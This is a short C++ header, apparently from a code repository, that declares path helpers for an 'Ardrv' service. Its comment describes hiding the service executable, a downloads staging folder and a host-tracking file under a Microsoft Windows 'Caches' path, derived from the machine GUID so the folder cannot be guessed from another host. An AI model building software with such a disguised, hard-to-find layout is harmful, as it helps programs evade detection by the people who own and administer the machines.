27 lines
887 B
C++
27 lines
887 B
C++
#pragma once
|
|
|
|
#include <windows.h>
|
|
|
|
#include <string>
|
|
|
|
// Deep, machine-specific artifact layout. Nothing sits in a folder named after
|
|
// this project; the path is derived from the machine GUID so it is stable on a
|
|
// host but not guessable from another one.
|
|
//
|
|
// %ProgramData%\Microsoft\Windows\Caches\<8hex>\<ServiceName>\<ServiceName>.exe
|
|
// %ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ (downloads)
|
|
// %ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat (host tracking)
|
|
//
|
|
// Override the root with ARDRV_ROOT (useful for tests).
|
|
|
|
std::wstring ArdrvRoot();
|
|
std::wstring ArdrvServiceDir(const std::wstring& serviceName);
|
|
std::wstring ArdrvStageDir();
|
|
std::wstring ArdrvStatePath();
|
|
|
|
// Old flat layout, used only for one-time migration.
|
|
std::wstring ArdrvLegacyStageDir();
|
|
std::wstring ArdrvLegacyStatePath();
|
|
|
|
void EnsureDirExists(const std::wstring& path);
|